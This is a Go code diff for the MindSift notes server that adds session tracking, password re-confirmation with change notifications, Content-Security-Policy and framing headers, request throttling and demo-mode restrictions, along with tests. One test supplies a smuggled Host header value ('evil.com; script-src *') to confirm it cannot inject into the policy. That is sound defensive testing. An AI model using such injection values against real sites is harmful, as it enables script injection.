if err := s.store.RevokeSession(userID, sid); err != nil && !errors.Is(err, storage.ErrSessionNotFound) {
writeError(w, http.StatusInternalServerError, "Abmelden fehlgeschlagen")
return
}
}
}
// Streams are not tied to one session; other devices reconnect with a new ticket on their own
s.wsHub.DisconnectUser(userID)
writeJSON(w, http.StatusOK, map[string]bool{"success": true})
@@ -437,11 +444,27 @@ func (s *Server) handleUpdateUserSettings(w http.ResponseWriter, r *http.Request
DiscordWebhookURL *string `json:"discordWebhookUrl"`
CustomWebhookURL *string `json:"customWebhookUrl"`
NotifyBeforeMinutes *int `json:"notifyBeforeMinutes"`
// Needed to change password or e-mail address (FLAW-30)
CurrentPassword string `json:"currentPassword"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
before, err := s.store.GetUserByID(userID)
if err != nil || before == nil {
writeError(w, http.StatusNotFound, "Benutzer nicht gefunden")
return
}
changesPassword := req.Password != nil && strings.TrimSpace(*req.Password) != ""
changesEmail := req.Email != nil && !strings.EqualFold(strings.TrimSpace(*req.Email), before.Email)
if (changesPassword || changesEmail) && s.cfg.DemoMode {
writeError(w, http.StatusForbidden, "In der Demo deaktiviert")
return
}
if (changesPassword || changesEmail) && !s.checkCurrentPassword(w, r, before, req.CurrentPassword) {
return
}
// Alarm URLs are checked before they are stored (SSRF protection, see netguard.go)
allowPrivate := s.allowPrivateWebhooks()
if req.DiscordWebhookURL != nil {
@@ -470,7 +493,18 @@ func (s *Server) handleUpdateUserSettings(w http.ResponseWriter, r *http.Request
writeError(w, http.StatusInternalServerError, "Passwort konnte nicht gespeichert werden")
return
}
// Every other device is logged out; this one keeps its session with a fresh token
sid := sessionIDFrom(r)
if err := s.store.RevokeOtherSessions(userID, sid); err != nil {
writeError(w, http.StatusInternalServerError, "Andere Sitzungen konnten nicht beendet werden")
return
}
s.wsHub.DisconnectUser(userID)
if fresh, err := s.store.GetUserByID(userID); err == nil {
current := &auth.Claims{}
current.ID = sid
s.renewSessionToken(w, fresh, current, true)
}
}
u, err := s.store.UpdateUserFull(
userID,
@@ -489,9 +523,51 @@ func (s *Server) handleUpdateUserSettings(w http.ResponseWriter, r *http.Request
writeError(w, http.StatusBadRequest, err.Error())
return
}
if changesPassword || changesEmail {
s.notifyAccountChange(before, changesPassword, changesEmail, u.Email)
}
writeJSON(w, http.StatusOK, u)
}
// checkCurrentPassword verifies the current password for sensitive changes; wrong attempts count
// towards the login protection, so this cannot be used to guess the password.
func (s *Server) checkCurrentPassword(w http.ResponseWriter, r *http.Request, user *domain.User, password string) bool {
ip := clientIPFrom(r)
if wait := s.loginGuard.lockedFor(user.ID, ip); wait > 0 {
writeLoginLocked(w, wait)
return false
}
// A forgotten field is no guess and does not count as a failure
if password == "" || !auth.CheckPassword(password, user.PasswordHash) {
if password != "" {
s.loginGuard.recordFailure(user.ID, ip)
}
writeError(w, http.StatusForbidden, "Bitte gib zur Bestätigung dein aktuelles Passwort richtig ein")
return false
}
return true
}
// notifyAccountChange tells the previous address about a new password or e-mail address, so a
// takeover does not go unnoticed. Only when mail is set up; errors are logged, never shown.
func (s *Server) notifyAccountChange(before *domain.User, password, email bool, newEmail string) {
if _, err := s.smtpSettings(); err != nil || before.Email == "" {
return
}
var what []string
if password {
what = append(what, "dein Passwort wurde geändert")
}
if email {
what = append(what, "die E-Mail-Adresse deines Kontos wurde auf "+newEmail+" geändert")
}
body := fmt.Sprintf("Hallo %s,\n\nin MindSift %s.\n\nWarst du das nicht, setze bitte sofort dein Passwort zurück und beende alle Sitzungen in den Kontoeinstellungen, oder wende dich an die Administration.\n",
before.DisplayName, strings.Join(what, " und "))
go func() {
_ = s.sendEmailNotification(before.Email, "MindSift: Änderung an deinem Konto", body)
}()
}
func (s *Server) handleTestUserAlarm(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
user, err := s.store.GetUserByID(userID)
+6
View File
@@ -54,7 +54,13 @@ func (s *Server) handleDeleteAPIKey(w http.ResponseWriter, r *http.Request) {
// handleWebhookIngest accepts Smarthome / External automation webhooks via ?token=... or X-API-Key or Bearer token
func (s *Server) handleWebhookIngest(w http.ResponseWriter, r *http.Request) {
// In the URL only API keys are taken (devices that cannot set headers); a session token there would
// end up in proxy logs as a full login (FLAW-35)
token := r.URL.Query().Get("token")
if token != "" && !strings.HasPrefix(token, "mindsift_sec_") {
writeError(w, http.StatusUnauthorized, "In der URL sind nur API-Keys erlaubt; Sitzungs-Tokens gehören in den Authorization-Header")
return
}
if token == "" {
token = r.Header.Get("X-API-Key")
}
+48
View File
@@ -0,0 +1,48 @@
package api
import (
"net/http"
"strings"
)
// securityHeaders protects the browser side (FLAW-29):
// - Content-Security-Policy: scripts only from MindSift itself, so injected markup cannot run code;
// styles may be inline (custom themes, style attributes); images also from https (avatar URLs);
// connections only to this server, including its WebSocket.
// - frame-ancestors 'none' / X-Frame-Options: no embedding in other sites (clickjacking).
// - nosniff, a same-origin referrer and a permissions policy that only allows the microphone
// (speech input) for MindSift itself.
func (s *Server) securityHeaders(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
h := w.Header()
h.Set("Content-Security-Policy", contentSecurityPolicy(r.Host))
h.Set("X-Frame-Options", "DENY")
h.Set("X-Content-Type-Options", "nosniff")
h.Set("Referrer-Policy", "same-origin")
h.Set("Permissions-Policy", "microphone=(self), camera=(), geolocation=(), payment=()")
next.ServeHTTP(w, r)
})
}
func contentSecurityPolicy(host string) string {
connect := "'self'"
// Older Safari versions do not count ws:/wss: as 'self'
if host != "" && !strings.ContainsAny(host, " ;'\"") {
connect += " wss://" + host + " ws://" + host
}
return strings.Join([]string{
"default-src 'self'",
"script-src 'self'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: blob: https:",
"font-src 'self' data:",
"connect-src " + connect,
"worker-src 'self'",
"manifest-src 'self'",
"media-src 'self' blob:",
"object-src 'none'",
"base-uri 'self'",
"form-action 'self'",
"frame-ancestors 'none'",
}, "; ")
}
+34
View File
@@ -0,0 +1,34 @@
package api
import (
"net/http"
"net/http/httptest"
"strings"
"testing"
)
func TestSecurityHeaders(t *testing.T) {
srv, _, _ := setupTestServer(t)
rec := httptest.NewRecorder()
req := httptest.NewRequest(http.MethodGet, "/api/v1/health", nil)
req.Host = "notes.example.com"
srv.Router().ServeHTTP(rec, req)
csp := rec.Header().Get("Content-Security-Policy")
for _, want := range []string{"script-src 'self'", "frame-ancestors 'none'", "object-src 'none'", "wss://notes.example.com"} {
if !strings.Contains(csp, want) {
t.Errorf("CSP lacks %q: %s", want, csp)
}
}
if strings.Contains(csp, "unsafe-eval") || strings.Contains(strings.Split(strings.Split(csp, "script-src")[1], ";")[0], "unsafe-inline") {
t.Errorf("scripts must not allow inline or eval: %s", csp)
}
for k, v := range map[string]string{"X-Frame-Options": "DENY", "X-Content-Type-Options": "nosniff", "Referrer-Policy": "same-origin"} {
if rec.Header().Get(k) != v {
t.Errorf("%s = %q, want %q", k, rec.Header().Get(k), v)
}
}
// A Host header with quotes or semicolons must not be able to extend the policy
if p := contentSecurityPolicy("evil.com; script-src *"); strings.Contains(p, "evil.com") {
t.Errorf("host must not be copied into the policy unchecked: %s", p)
}
}
+40
View File
@@ -135,6 +135,46 @@ func (g *loginGuard) cleanupLocked(now time.Time) {
}
}
// Other endpoints that can be abused in bulk are limited per address in the same buckets (FLAW-39).
// Every request counts here, not only failures: registration (also guessing invite codes) and
// "forgot password" (mail flood to many addresses).
const (
limitRegisterPerIP = 20
limitForgotPerIP = 10
)
// throttle counts one request of this kind from the visitor's address and returns how long further
// requests are refused (0 = this one may go ahead). Unknown addresses are not limited.
func (g *loginGuard) throttle(kind string, ip clientIPInfo, limit int) time.Duration {
if !g.enabled || ip.viaProxyWithoutHeader || ip.ip == "" {
return 0
}
g.mu.Lock()
defer g.mu.Unlock()
now := g.now()
g.cleanupLocked(now)
key := kind + ":" + ip.ip
b := g.buckets[key]
if b != nil && b.lockedUntil.After(now) {
return b.lockedUntil.Sub(now)
}
if b == nil || now.Sub(b.windowStart) > loginLockWindow {
b = &loginBucket{windowStart: now}
g.buckets[key] = b
}
b.count++
if b.count >= limit {
b.lockedUntil = now.Add(loginLockWindow)
}
return 0
}
func writeThrottled(w http.ResponseWriter, wait time.Duration) {
w.Header().Set("Retry-After", strconv.Itoa(int(math.Ceil(wait.Seconds()))))
writeError(w, http.StatusTooManyRequests,
fmt.Sprintf("Zu viele Anfragen von dieser Adresse. Bitte versuche es in %d Minuten erneut.", int(math.Ceil(wait.Minutes()))))
}
func writeLoginLocked(w http.ResponseWriter, wait time.Duration) {
minutes := int(math.Ceil(wait.Minutes()))
w.Header().Set("Retry-After", strconv.Itoa(int(math.Ceil(wait.Seconds()))))
+4
View File
@@ -29,6 +29,10 @@ func (s *Server) handleForgotPassword(w http.ResponseWriter, r *http.Request) {
writeError(w, http.StatusServiceUnavailable, "Passwort-Zurücksetzen ist auf diesem Server nicht eingerichtet. Bitte wende dich an die Administration.")
return
}
if wait := s.loginGuard.throttle("forgot", clientIPFrom(r), limitForgotPerIP); wait > 0 {
writeThrottled(w, wait)
return
}
var req struct {
Email string `json:"email"`
}
+1 -1
View File
@@ -19,7 +19,7 @@ func (s *Server) authenticateUserFromReq(r *http.Request) string {
return ""
}
u, err := s.store.GetUserByID(tk.userID)
if err != nil || u == nil || !u.IsActive || u.TokenVersion != tk.tokenVersion {
if err != nil || u == nil || !u.IsActive || u.TokenVersion != tk.tokenVersion || !s.store.SessionActive(tk.sessionID, u.ID) {
return ""
}
return u.ID
+1 -1
View File
@@ -52,7 +52,7 @@ func newTestUser(t *testing.T, store *storage.Store, email string) (*domain.User
if err != nil {
t.Fatalf("create user: %v", err)
}
tok, err := auth.GenerateToken(testJWTSecret, u.ID, u.Email, u.DisplayName, u.TokenVersion)
tok, err := auth.GenerateToken(testJWTSecret, u.ID, u.Email, u.DisplayName, u.TokenVersion, testSession(t, store, u.ID))
if err != nil {
t.Fatalf("token: %v", err)
}
+106
View File
@@ -0,0 +1,106 @@
package api
import (
"net/http"
"regexp"
"strings"
"sync"
"testing"
"time"
)
func TestInviteCodeRedeemedOnlyOnce(t *testing.T) {
srv, store, _ := setupTestServer(t)
router := srv.Router()
inv, err := store.CreateUserInvite("", "", "member", "", 7)
if err != nil {
t.Fatal(err)
}
if !regexp.MustCompile(`^INV-[A-Z2-7]{5}(-[A-Z2-7]{5}){3}$`).MatchString(inv.Code) {
t.Fatalf("unexpected invite code format %q", inv.Code)
}
// Two registrations race for the same code: exactly one account
var wg sync.WaitGroup
codes := make([]int, 2)
for i := range codes {
wg.Add(1)
go func(i int) {
defer wg.Done()
body := `{"email":"race` + string(rune('a'+i)) + `@example.com","password":"password123","inviteCode":"` + strings.ToLower(inv.Code) + `"}`
codes[i] = sessionCall(router, "POST", "/api/v1/auth/register", "", body, "").Code
}(i)
}
wg.Wait()
created := 0
for _, c := range codes {
if c == http.StatusCreated {
created++
}
}
if created != 1 {
t.Fatalf("want exactly one account, got codes %v", codes)
}
}
func TestInviteReleasedWhenAccountFails(t *testing.T) {
srv, store, _ := setupTestServer(t)
router := srv.Router()
inv, _ := store.CreateUserInvite("", "", "member", "", 7)
_, _ = store.CreateUser("taken@example.com", "hash", "Taken", "member")
body := func(email string) string {
return `{"email":"` + email + `","password":"password123","inviteCode":"` + inv.Code + `"}`
}
if rec := sessionCall(router, "POST", "/api/v1/auth/register", "", body("taken@example.com"), ""); rec.Code != http.StatusConflict {
t.Fatalf("existing address: want 409, got %d", rec.Code)
}
if rec := sessionCall(router, "POST", "/api/v1/auth/register", "", body("free@example.com"), ""); rec.Code != http.StatusCreated {
t.Fatalf("code must still work after a failed attempt, got %d %s", rec.Code, rec.Body.String())
}
}
func TestRegisterThrottledPerAddress(t *testing.T) {
srv, _, _ := setupTestServer(t)
router := srv.Router()
for i := 0; i < limitRegisterPerIP; i++ {
rec := sessionCall(router, "POST", "/api/v1/auth/register", "", `{"email":"x@example.com","password":"password123","inviteCode":"INV-NOPE"}`, "")
if rec.Code != http.StatusForbidden {
t.Fatalf("attempt %d: want 403, got %d", i+1, rec.Code)
}
}
rec := sessionCall(router, "POST", "/api/v1/auth/register", "", `{"email":"x@example.com","password":"password123","inviteCode":"INV-NOPE"}`, "")
if rec.Code != http.StatusTooManyRequests || rec.Header().Get("Retry-After") == "" {
t.Fatalf("want 429 after %d attempts, got %d", limitRegisterPerIP, rec.Code)
}
}
func TestThrottleWindowAndSwitch(t *testing.T) {
now := time.Date(2026, 1, 1, 12, 0, 0, 0, time.UTC)
g := newLoginGuard(true)
g.now = func() time.Time { return now }
ip := clientIPInfo{ip: "203.0.113.9"}
for i := 0; i < 3; i++ {
if g.throttle("forgot", ip, 3) != 0 {
t.Fatalf("request %d must pass", i+1)
}
}
if g.throttle("forgot", ip, 3) == 0 {
t.Fatal("fourth request must be refused")
}
if g.throttle("register", ip, 3) != 0 {
t.Fatal("other kinds have their own bucket")
}
if g.throttle("forgot", clientIPInfo{ip: "198.51.100.1"}, 3) != 0 {
t.Fatal("other addresses are not affected")
}
if g.throttle("forgot", clientIPInfo{ip: "172.18.0.2", viaProxyWithoutHeader: true}, 0) != 0 {
t.Fatal("unknown visitors are not limited")
}
now = now.Add(loginLockWindow + time.Minute)
if g.throttle("forgot", ip, 3) != 0 {
t.Fatal("lock must end after the window")
}
if off := newLoginGuard(false); off.throttle("forgot", ip, 0) != 0 {
t.Fatal("LOGIN_PROTECTION=false switches throttling off")
}
}
+113
View File
@@ -0,0 +1,113 @@
package api
import (
"encoding/json"
"net/http"
"os"
"path/filepath"
"strings"
"testing"
"github.com/sandrodach/mindsift/internal/config"
"github.com/sandrodach/mindsift/internal/storage"
"github.com/sandrodach/mindsift/internal/ws"
)
func TestDemoSendsNothingAndKeepsAccounts(t *testing.T) {
dbPath := filepath.Join(t.TempDir(), "demo.db")
store, err := storage.NewStore(dbPath)
if err != nil {
t.Fatal(err)
}
defer store.Close()
if err := store.ResetAndSeedDemo(); err != nil {
t.Fatal(err)
}
srv := NewServer(&config.Config{DatabasePath: dbPath, JWTSecret: "demo-secret", DemoMode: true}, store, ws.NewHub(), nil)
router := srv.Router()
token := sessionLogin(t, router, "admin", "admin", "visitor-1")
_ = sessionLogin(t, router, "admin", "admin", "visitor-2")
if err := srv.sendCustomWebhookNotification("https://example.com/hook", "x", "x", "", "", ""); err != errDemoOutgoing {
t.Fatalf("webhook sender must refuse in demo, got %v", err)
}
if err := srv.sendDiscordNotification("https://discord.com/api/webhooks/1/x", "x", "", "", ""); err != errDemoOutgoing {
t.Fatalf("discord sender must refuse in demo, got %v", err)
}
if err := srv.sendEmailNotification("a@example.com", "x", "x"); err != errDemoOutgoing {
t.Fatalf("mail sender must refuse in demo, got %v", err)
}
blocked := []struct{ method, path, body string }{
{"POST", "/api/v1/auth/alarms/test", `{"channel":"webhook","target":"https://example.com/hook"}`},
{"PUT", "/api/v1/admin/settings", `{"allowPrivateWebhooks":true}`},
{"POST", "/api/v1/admin/smtp/test", `{"toEmail":"a@example.com"}`},
{"POST", "/api/v1/admin/backups", ``},
{"POST", "/api/v1/auth/revoke-all", ``},
{"DELETE", "/api/v1/user/account", `{"password":"admin"}`},
{"DELETE", "/api/v1/admin/users/" + storage.DemoUserID, ``},
{"PATCH", "/api/v1/auth/settings", `{"password":"neuesPasswort1","currentPassword":"admin"}`},
}
for _, b := range blocked {
rec := sessionCall(router, b.method, b.path, token, b.body, "")
if rec.Code != http.StatusForbidden || !strings.Contains(rec.Body.String(), "Demo") {
t.Fatalf("%s %s: want 403 demo notice, got %d %s", b.method, b.path, rec.Code, rec.Body.String())
}
}
// Harmless profile changes still work
if rec := sessionCall(router, "PATCH", "/api/v1/auth/settings", token, `{"displayName":"Besucher"}`, ""); rec.Code != http.StatusOK {
t.Fatalf("display name in demo: %d", rec.Code)
}
// Visitors only see their own device, not the others' addresses
var list []storage.Session
_ = json.Unmarshal(sessionCall(router, "GET", "/api/v1/auth/sessions", token, "", "").Body.Bytes(), &list)
if len(list) != 1 || !list[0].Current {
t.Fatalf("demo session list must only show the own device, got %+v", list)
}
}
func TestSMTPPasswordNeverReturned(t *testing.T) {
srv, store, token := setupTestServer(t)
router := srv.Router()
rec := sessionCall(router, "PUT", "/api/v1/admin/settings", token,
`{"sharingMode":"organizations","smtpHost":"mail.example.com","smtpUser":"bot","smtpPass":"geheim123"}`, "")
if rec.Code != http.StatusOK || strings.Contains(rec.Body.String(), "geheim123") || !strings.Contains(rec.Body.String(), `"smtpPassSet":true`) {
t.Fatalf("save: %d %s", rec.Code, rec.Body.String())
}
if body := sessionCall(router, "GET", "/api/v1/admin/settings", token, "", "").Body.String(); strings.Contains(body, "geheim123") {
t.Fatalf("GET leaks the password: %s", body)
}
// Saving again with the empty field keeps it
sessionCall(router, "PUT", "/api/v1/admin/settings", token, `{"sharingMode":"organizations","smtpHost":"mail.example.com","smtpUser":"bot","smtpPass":""}`, "")
if sys, _ := store.GetSystemSettings(); sys.SMTPPass != "geheim123" {
t.Fatalf("empty field must keep the password, got %q", sys.SMTPPass)
}
// Without SMTP user the password is dropped
sessionCall(router, "PUT", "/api/v1/admin/settings", token, `{"sharingMode":"organizations","smtpHost":"mail.example.com","smtpUser":"","smtpPass":""}`, "")
if sys, _ := store.GetSystemSettings(); sys.SMTPPass != "" {
t.Fatalf("password without user must be cleared, got %q", sys.SMTPPass)
}
}
func TestDeletedAccountLosesServerBackups(t *testing.T) {
srv, store, token := setupTestServer(t)
root := srv.backupRoot()
gone, _ := newTestUser(t, store, "gone@example.com")
stays, _ := newTestUser(t, store, "stays@example.com")
for _, id := range []string{gone.ID, stays.ID} {
dir := storage.UserBackupDir(root, id)
_ = os.MkdirAll(dir, 0o755)
_ = os.WriteFile(filepath.Join(dir, "backup.zip"), []byte("x"), 0o600)
}
if rec := sessionCall(srv.Router(), "DELETE", "/api/v1/admin/users/"+gone.ID, token, "", ""); rec.Code != http.StatusOK {
t.Fatalf("delete user: %d %s", rec.Code, rec.Body.String())
}
if _, err := os.Stat(storage.UserBackupDir(root, gone.ID)); !os.IsNotExist(err) {
t.Fatalf("backups of the deleted account must be gone: %v", err)
}
for _, odd := range []string{"", ".", "/", "..", "../users"} {
srv.removeUserBackups(odd)
}
if _, err := os.Stat(filepath.Join(storage.UserBackupDir(root, stays.ID), "backup.zip")); err != nil {
t.Fatalf("other accounts' backups must stay: %v", err)
}
}
+27 -13
View File
@@ -51,12 +51,12 @@ func NewServer(cfg *config.Config, store *storage.Store, wsHub *ws.Hub, staticFS
store.OnTaskCreated = func(th *domain.Thought) {
srv.wsHub.BroadcastToUsers(srv.taskAudience(th), "TASK_CREATED", th)
}
go srv.startAlarmTicker()
go srv.startCompaction()
if cfg.DemoMode && cfg.DemoResetMinutes > 0 {
go srv.startDemoResetTicker()
}
if !cfg.DemoMode {
go srv.startAlarmTicker() // the demo sends nothing (FLAW-33)
go srv.startBackupScheduler()
}
return srv
@@ -83,6 +83,8 @@ func (s *Server) Router() http.Handler {
r := chi.NewRouter()
r.Use(s.clientIPMiddleware)
r.Use(s.securityHeaders)
r.Use(bodyLimit)
r.Use(s.demoResetGate)
r.Use(middleware.Recoverer)
r.Use(s.apiLoggingMiddleware)
@@ -96,7 +98,7 @@ func (s *Server) Router() http.Handler {
AllowedOrigins: allowedOrigins,
AllowedMethods: []string{"GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"},
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-API-Key"},
ExposedHeaders: []string{"Link"},
ExposedHeaders: []string{"Link", "X-Session-Token"},
AllowCredentials: false,
MaxAge: 300,
}))
@@ -124,10 +126,12 @@ func (s *Server) Router() http.Handler {
r.Get("/api/v1/auth/me", s.handleMe)
r.Post("/api/v1/events/rooms", s.handleSSERooms)
r.Post("/api/v1/auth/stream-ticket", s.handleStreamTicket)
r.Get("/api/v1/auth/sessions", s.handleListSessions)
r.Delete("/api/v1/auth/sessions/{id}", s.notInDemo(s.handleEndSession))
r.Post("/api/v1/auth/logout", s.handleLogout)
r.Post("/api/v1/auth/revoke-all", s.handleRevokeAllSessions)
r.Post("/api/v1/auth/revoke-all", s.notInDemo(s.handleRevokeAllSessions))
r.Patch("/api/v1/auth/settings", s.handleUpdateUserSettings)
r.Post("/api/v1/auth/alarms/test", s.handleTestUserAlarm)
r.Post("/api/v1/auth/alarms/test", s.notInDemo(s.handleTestUserAlarm))
r.Get("/api/v1/users/directory", s.handleGetUsersDirectory)
r.Get("/api/v1/collaborators", s.handleGetCollaborators)
r.Get("/api/v1/stats", s.handleStats)
@@ -139,7 +143,7 @@ func (s *Server) Router() http.Handler {
r.Get("/api/v1/export/markdown", s.handleExportMarkdown)
r.Post("/api/v1/import/mindsift", s.handleImportMindSift)
r.Delete("/api/v1/user/data", s.handlePurgeOwnData)
r.Delete("/api/v1/user/account", s.handleDeleteOwnAccount)
r.Delete("/api/v1/user/account", s.notInDemo(s.handleDeleteOwnAccount))
r.Post("/api/v1/import/obsidian", s.handleImportObsidian)
r.Get("/api/v1/themes", s.handleGetThemes)
r.Post("/api/v1/themes", s.handleSaveTheme)
@@ -248,10 +252,10 @@ func (s *Server) Router() http.Handler {
r.Group(func(r chi.Router) {
r.Use(s.staffMiddleware)
r.Get("/api/v1/admin/users", s.handleAdminGetUsers)
r.Post("/api/v1/admin/users", s.handleAdminCreateUser)
r.Patch("/api/v1/admin/users/{id}", s.handleAdminUpdateUser)
r.Put("/api/v1/admin/users/{id}/password", s.handleAdminResetPassword)
r.Delete("/api/v1/admin/users/{id}", s.handleAdminDeleteUser)
r.Post("/api/v1/admin/users", s.notInDemo(s.handleAdminCreateUser))
r.Patch("/api/v1/admin/users/{id}", s.notInDemo(s.handleAdminUpdateUser))
r.Put("/api/v1/admin/users/{id}/password", s.notInDemo(s.handleAdminResetPassword))
r.Delete("/api/v1/admin/users/{id}", s.notInDemo(s.handleAdminDeleteUser))
r.Get("/api/v1/admin/invites", s.handleAdminGetInvites)
r.Post("/api/v1/admin/invites", s.handleAdminCreateInvite)
@@ -263,9 +267,9 @@ func (s *Server) Router() http.Handler {
r.Use(s.adminMiddleware)
r.Get("/api/v1/admin/settings", s.handleAdminGetSettings)
r.Get("/api/v1/admin/backups", s.handleAdminListBackups)
r.Post("/api/v1/admin/backups", s.handleAdminRunBackup)
r.Post("/api/v1/admin/backups", s.notInDemo(s.handleAdminRunBackup))
r.Get("/api/v1/admin/backups/{name}", s.handleAdminDownloadBackup)
r.Put("/api/v1/admin/settings", s.handleAdminUpdateSettings)
r.Put("/api/v1/admin/settings", s.notInDemo(s.handleAdminUpdateSettings))
r.Get("/api/v1/admin/settings/sharing-impact", s.handleAdminSharingImpact)
// Organizations decide who can see whom; only server admins manage them
@@ -274,7 +278,7 @@ func (s *Server) Router() http.Handler {
r.Put("/api/v1/admin/organizations/{id}", s.handleAdminRenameOrganization)
r.Delete("/api/v1/admin/organizations/{id}", s.handleAdminDeleteOrganization)
r.Put("/api/v1/admin/users/{id}/organization", s.handleAdminSetUserOrganization)
r.Post("/api/v1/admin/smtp/test", s.handleAdminTestSMTP)
r.Post("/api/v1/admin/smtp/test", s.notInDemo(s.handleAdminTestSMTP))
})
})
@@ -416,7 +420,7 @@ func (s *Server) authenticateToken(token string) (user *domain.User, keyScopes [
return u, scopes
}
claims, err := auth.ValidateToken(s.cfg.JWTSecret, token)
if err != nil || claims == nil || s.store.IsTokenRevoked(token) {
if err != nil || claims == nil {
return nil, nil
}
u, err := s.store.GetUserByID(claims.UserID)
@@ -426,6 +430,10 @@ func (s *Server) authenticateToken(token string) (user *domain.User, keyScopes [
if claims.TokenVersion != 0 && claims.TokenVersion != u.TokenVersion {
return nil, nil
}
// Logged out, ended from the session list or idle for 30 days
if !s.store.SessionActive(claims.ID, u.ID) {
return nil, nil
}
return u, nil
}
@@ -477,6 +485,12 @@ func (s *Server) authMiddleware(next http.Handler) http.Handler {
return
}
ctx := auth.WithUserID(r.Context(), user.ID)
if keyScopes == nil {
if claims, err := auth.ValidateToken(s.cfg.JWTSecret, token); err == nil {
ctx = withSession(ctx, claims.ID)
s.renewSessionToken(w, user, claims, false)
}
}
if keyScopes != nil {
if !apiKeyAllowed(r) {
writeError(w, http.StatusForbidden, "API-Keys dürfen nur Daten einliefern (POST /api/v1/inbox oder /api/v1/webhooks/ingest)")
+18 -8
View File
@@ -47,7 +47,7 @@ func setupTestServer(t *testing.T) (*Server, *storage.Store, string) {
hub := ws.NewHub()
srv := NewServer(cfg, store, hub, nil)
token, err := auth.GenerateToken(cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion)
token, err := auth.GenerateToken(cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion, testSession(t, store, user.ID))
if err != nil {
t.Fatalf("failed to generate token: %v", err)
}
@@ -222,7 +222,7 @@ func TestQuickDumpToTriageAndDirectTargets(t *testing.T) {
router := srv.Router()
// Verify stale token from non-existent user is rejected (401)
staleToken, _ := auth.GenerateToken("test-jwt-secret-key", "usr_non_existent", "old@mindsift.local", "Old", 1)
staleToken, _ := auth.GenerateToken("test-jwt-secret-key", "usr_non_existent", "old@mindsift.local", "Old", 1, "")
req := httptest.NewRequest(http.MethodGet, "/api/v1/auth/me", nil)
req.Header.Set("Authorization", "Bearer "+staleToken)
rec := httptest.NewRecorder()
@@ -553,11 +553,11 @@ func TestSpaceMembersDirectInvitationAPI(t *testing.T) {
t.Fatalf("failed to get normal user: %v", err)
}
adminToken, err := auth.GenerateToken(cfg.JWTSecret, adminUser.ID, adminUser.Email, adminUser.DisplayName, adminUser.TokenVersion)
adminToken, err := auth.GenerateToken(cfg.JWTSecret, adminUser.ID, adminUser.Email, adminUser.DisplayName, adminUser.TokenVersion, testSession(t, store, adminUser.ID))
if err != nil {
t.Fatalf("failed to generate token: %v", err)
}
userToken, err := auth.GenerateToken(cfg.JWTSecret, normalUser.ID, normalUser.Email, normalUser.DisplayName, normalUser.TokenVersion)
userToken, err := auth.GenerateToken(cfg.JWTSecret, normalUser.ID, normalUser.Email, normalUser.DisplayName, normalUser.TokenVersion, testSession(t, store, normalUser.ID))
if err != nil {
t.Fatalf("failed to generate token: %v", err)
}
@@ -670,7 +670,7 @@ func TestWorkspaceTagsAPI(t *testing.T) {
router := srv.Router()
user, _ := store.CreateUser("api_tag_user@example.com", "hash", "API Tag User", "member")
token, _ := auth.GenerateToken(srv.cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion)
token, _ := auth.GenerateToken(srv.cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion, testSession(t, store, user.ID))
// Create document with hashtags
blocks := []domain.DocumentBlock{
@@ -920,7 +920,7 @@ func TestDecoupledFolderSharingAPI(t *testing.T) {
if err != nil {
t.Fatalf("failed to create user B: %v", err)
}
tokenB, err := auth.GenerateToken(srv.cfg.JWTSecret, userB.ID, userB.Email, userB.DisplayName, userB.TokenVersion)
tokenB, err := auth.GenerateToken(srv.cfg.JWTSecret, userB.ID, userB.Email, userB.DisplayName, userB.TokenVersion, testSession(t, store, userB.ID))
if err != nil {
t.Fatalf("failed to generate token B: %v", err)
}
@@ -1238,10 +1238,10 @@ func TestDocumentSharingStrictlyReadOnly(t *testing.T) {
router := srv.Router()
userA, _ := store.CreateUser("user_a_ro@example.com", "hash", "User A", "member")
tokenA, _ := auth.GenerateToken(srv.cfg.JWTSecret, userA.ID, userA.Email, userA.DisplayName, userA.TokenVersion)
tokenA, _ := auth.GenerateToken(srv.cfg.JWTSecret, userA.ID, userA.Email, userA.DisplayName, userA.TokenVersion, testSession(t, store, userA.ID))
userB, _ := store.CreateUser("user_b_ro@example.com", "hash", "User B", "member")
tokenB, _ := auth.GenerateToken(srv.cfg.JWTSecret, userB.ID, userB.Email, userB.DisplayName, userB.TokenVersion)
tokenB, _ := auth.GenerateToken(srv.cfg.JWTSecret, userB.ID, userB.Email, userB.DisplayName, userB.TokenVersion, testSession(t, store, userB.ID))
// Create document owned by User A
blocks := []domain.DocumentBlock{
@@ -1525,3 +1525,13 @@ func TestPasswordResetFlow(t *testing.T) {
t.Errorf("token must work only once, got %d", code)
}
}
// testSession starts a server-side session, as a login would, for tokens made directly in tests.
func testSession(t *testing.T, store *storage.Store, userID string) string {
t.Helper()
sid, err := store.CreateSession(userID, "go-test", "192.0.2.1")
if err != nil {
t.Fatalf("CreateSession: %v", err)
}
return sid
}
+88
View File
@@ -0,0 +1,88 @@
package api
import (
"context"
"errors"
"net/http"
"time"
"github.com/go-chi/chi/v5"
"github.com/sandrodach/mindsift/internal/auth"
"github.com/sandrodach/mindsift/internal/domain"
"github.com/sandrodach/mindsift/internal/storage"
)
// Sessions (FLAW-31): a login creates a server-side session (device, address, last use) whose ID is
// the token's JWT ID. Requests renew the token once a day through the X-Session-Token response
// header, so active devices stay logged in while idle sessions end after 30 days.
const tokenRenewAfter = 24 * time.Hour
type sessionIDKey struct{}
func sessionIDFrom(r *http.Request) string {
id, _ := r.Context().Value(sessionIDKey{}).(string)
return id
}
// startSession creates the session for a fresh login and returns its token.
func (s *Server) startSession(r *http.Request, user *domain.User) (string, error) {
sid, err := s.store.CreateSession(user.ID, r.UserAgent(), clientIPFrom(r).ip)
if err != nil {
return "", err
}
return auth.GenerateToken(s.cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion, sid)
}
// renewSessionToken sends a fresh token for the current session when the presented one is old (or
// right away when force is set, e.g. after the own password changed).
func (s *Server) renewSessionToken(w http.ResponseWriter, user *domain.User, claims *auth.Claims, force bool) {
if claims == nil || claims.ID == "" {
return
}
